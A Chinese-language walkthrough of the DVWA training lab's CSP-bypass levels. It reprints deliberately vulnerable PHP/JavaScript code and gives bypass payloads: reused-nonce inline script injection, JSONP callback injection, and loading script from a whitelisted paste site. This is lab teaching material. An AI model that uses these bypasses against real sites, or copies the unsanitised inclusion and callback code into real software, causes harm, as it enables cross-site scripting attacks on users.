文章目录
- 内容安全策略绕过 CSP Bypass
- 1 Low Level
- 2 Medium Level
- 3 High Level
- 4 Impossible Level
内容安全策略绕过 CSP Bypass
CSP - 内容安全策略:为了缓解很大一部分潜在的跨站脚本XSS问题,浏览器的扩展程序系统引入了内容安全策略CSP 的概念。通过引入一些相当严格的策略使扩展程序在默认情况下更加安全,开发者可以创建并强制应用一些规则,管理网站允许加载的内容。
CSP以白名单的机制对网站加载或执行的资源起作用,在网页中策略通过HTTP头部信息或meta元素定义。CSP虽然提供了强大的安全保护,但是它也令eval()及相关函数被禁用、内嵌的JavaScript代码将不会执行、只能通过白名单来加载远程脚本。如果要使用CSP技术保护自己的网站,开发者就不得不花费大量时间分离内嵌的JavaScript代码和做一些调整。
1 Low Level
源码:
<?php
$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;";
header($headerCSP);
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
<script src='" . $_POST['include'] . "'></script>
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';
源码对HTTP头部定义了CSP标签,定义了可以接受外部JavaScript资源的白名单,可以通过抓包确认是哪些网站;
其中https://pastebin.com
是一个快速分享文本内容的网站,若文本的内容是一段JavaScript代码,网页就会把代码包含起来;可以使用该域名进行创建包含JavaScript代码的URL,也可直接使用源码中的案例进行绕过操作。
2 Medium Level
源码:
<?php
$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";
header($headerCSP);
header ("X-XSS-Protection: 0");
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';
源码中nonce参数无任何过滤,对其进行注入即可。将绕过案例<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>
内容复制到输入框内,进行绕过弹窗测试。
3 High Level
源码:
<?php
$headerCSP = "Content-Security-Policy: script-src 'self';";
header($headerCSP);
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.</p>
<p>1+2+3+4+5=<span id="answer"></span></p>
<input type="button" id="solve" value="Solve the sum" />
</form>
# script src指向了source/high.js代码文件
<script src="source/high.js"></script>
';
high.js代码:
function clickButton() {
var s = document.createElement("script");
s.src = "source/jsonp.php?callback=solveSum";
document.body.appendChild(s);
}
function solveSum(obj) {
if ("answer" in obj) {
document.getElementById("answer").innerHTML = obj['answer'];
}
}
var solve_button = document.getElementById ("solve");
if (solve_button) {
solve_button.addEventListener("click", function() {
clickButton();
});
}
jsonp.php代码:
<?php
header("Content-Type: application/json; charset=UTF-8");
if (array_key_exists ("callback", $_GET)) {
$callback = $_GET['callback'];
} else {
return "";
}
$outp = array ("answer" => "15");
echo $callback . "(".json_encode($outp).")";
?>
注入代码:include=<script src="source/jsonp.php?callback=alert(1);"></script>
4 Impossible Level
源码:
<?php
$headerCSP = "Content-Security-Policy: script-src 'self';";
header($headerCSP);
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>Unlike the high level, this does a JSONP call but does not use a callback, instead it hardcodes the function to call.</p><p>The CSP settings only allow external JavaScript on the local server and no inline code.</p>
<p>1+2+3+4+5=<span id="answer"></span></p>
<input type="button" id="solve" value="Solve the sum" />
</form>
<script src="source/impossible.js"></script>
';
impossible.js代码:
function clickButton() {
var s = document.createElement("script");
s.src = "source/jsonp_impossible.php";
document.body.appendChild(s);
}
function solveSum(obj) {
if ("answer" in obj) {
document.getElementById("answer").innerHTML = obj['answer'];
}
}
var solve_button = document.getElementById ("solve");
if (solve_button) {
solve_button.addEventListener("click", function() {
clickButton();
});
}
jsonp_impossible.php代码:
<?php
header("Content-Type: application/json; charset=UTF-8");
$outp = array ("answer" => "15");
echo "solveSum (".json_encode($outp).")";
?>
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)